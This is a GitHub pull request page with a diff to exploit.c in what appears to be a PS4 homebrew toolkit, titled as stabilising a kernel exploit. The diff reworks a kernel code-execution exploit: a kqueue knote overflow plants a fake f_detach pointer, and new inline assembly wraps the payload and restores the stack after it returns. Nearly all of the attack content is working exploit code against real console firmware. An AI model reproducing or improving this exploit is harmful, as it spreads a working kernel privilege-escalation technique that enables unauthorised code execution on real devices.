Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stabilize dlsym kernel exploit #31

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 28 additions & 39 deletions extension/kernel_execute/dynlib_prepare_dlclose/source/exploit.c
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ typedef struct Ps4ExploitArgument
}
Ps4ExploitArgument;

//#define DEBUG 1
// #define DEBUG 1
#ifdef DEBUG
#define ps4ExploitDebug(...) \
do \
Expand Down Expand Up @@ -108,12 +108,6 @@ int ps4ExploitFree(SceKernelEqueue queue)
return sceKernelDeleteEqueue(queue);
}

void ps4ExploitReturn(struct Ps4ExploitArgument *arg)
{
siglongjmp(arg->sigjmpbuf, 1);
return;
}

void ps4ExploitPayload(struct knote *kn)
{
Ps4ExploitArgument *a = (Ps4ExploitArgument *)kn->kn_kq;
Expand All @@ -129,22 +123,28 @@ void ps4ExploitPayload(struct knote *kn)
if(a->ret[1] != NULL)
ps4KernelThreadGetSecondaryReturn(td, a->ret[1]);
}

// Xfast_syscall
// movq 0xb0(%%rsp), %%rsp;
__asm__ volatile(" \
movq %%gs:0x2a0, %%rsp; \
subq $0xc0, %%rsp; \
movq 0x40(%%rsp), %%rbp; \
movq 0xa8(%%rsp), %%r11; \
movq %0, %%rcx; \
movq %1, %%rdi; \
movq %%gs:0x2a8, %%rsp; \
swapgs; \
sysretq; \
" : : "r"(ps4ExploitReturn), "r"(a));
}

void ps4ExploitPayloadWrapper(struct knote *);

__asm__(" \
.pushsection .text \n \
.global ps4ExploitPayloadWrapper \n \
.type ps4ExploitPayloadWrapper, @function \n \
ps4ExploitPayloadWrapper: \n\
call ps4ExploitPayload \n \
addq $0x30, %rsp \n \
popq %rbx \n \
popq %r12 \n \
popq %r13 \n \
popq %r14 \n \
popq %r15 \n \
popq %rbp \n \
retq \n \
.size ps4ExploitPayloadWrapper, .-ps4ExploitPayloadWrapper \n \
.popsection \n \
");

int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1, Ps4ExploitStatus *status)
{
struct Ps4ExploitArgument arg;
Expand Down Expand Up @@ -260,7 +260,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
kl = (struct klist *)(map + PS4_EXPLOIT_CHUNK_SIZE);
kn.kn_fop = &fo;
kn.kn_kq = (struct kqueue *)&arg;
fo.f_detach = ps4ExploitPayload;
fo.f_detach = ps4ExploitPayloadWrapper;
kl[fd].slh_first = &kn;

ps4ExploitDebug("Calling syscall, overflowing\n");
Expand All @@ -287,23 +287,12 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,

ps4ExploitDebug("Preparing overflow return\n");
// create return buffer, install syscall
if(sigsetjmp(a->sigjmpbuf, 1) == 0)
{
ps4ExploitDebug("Freeing overflow, triggering playload\n");
// free overflow, trigger playload
t = ps4ExploitFree(overflow);
overflow = 0;
if(t != 0)
{
a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_FREE_ERROR;
goto e11;
}
ps4ExploitDebug("Freeing overflow, triggering playload\n");
// free overflow, trigger playload
ps4ExploitFree(overflow);
overflow = 0;

a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_TRIGGER_ERROR;
goto e12;
}
else
ps4ExploitDebug("Returned from triggered playload\n");
ps4ExploitDebug("Returned from triggered playload\n");

ps4ExploitDebug("Unmapping map %p %zu\n", map, mapSize);
// free map
Expand All @@ -317,7 +306,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
goto ret;

// FIXME: all good?
e13: e12: e11: e10: e9: e8:
e13: e10: e9: e8:
munmap(map, mapSize + pageSize);
e7: e6: e5:
ps4ExploitFree(overflow);
Expand Down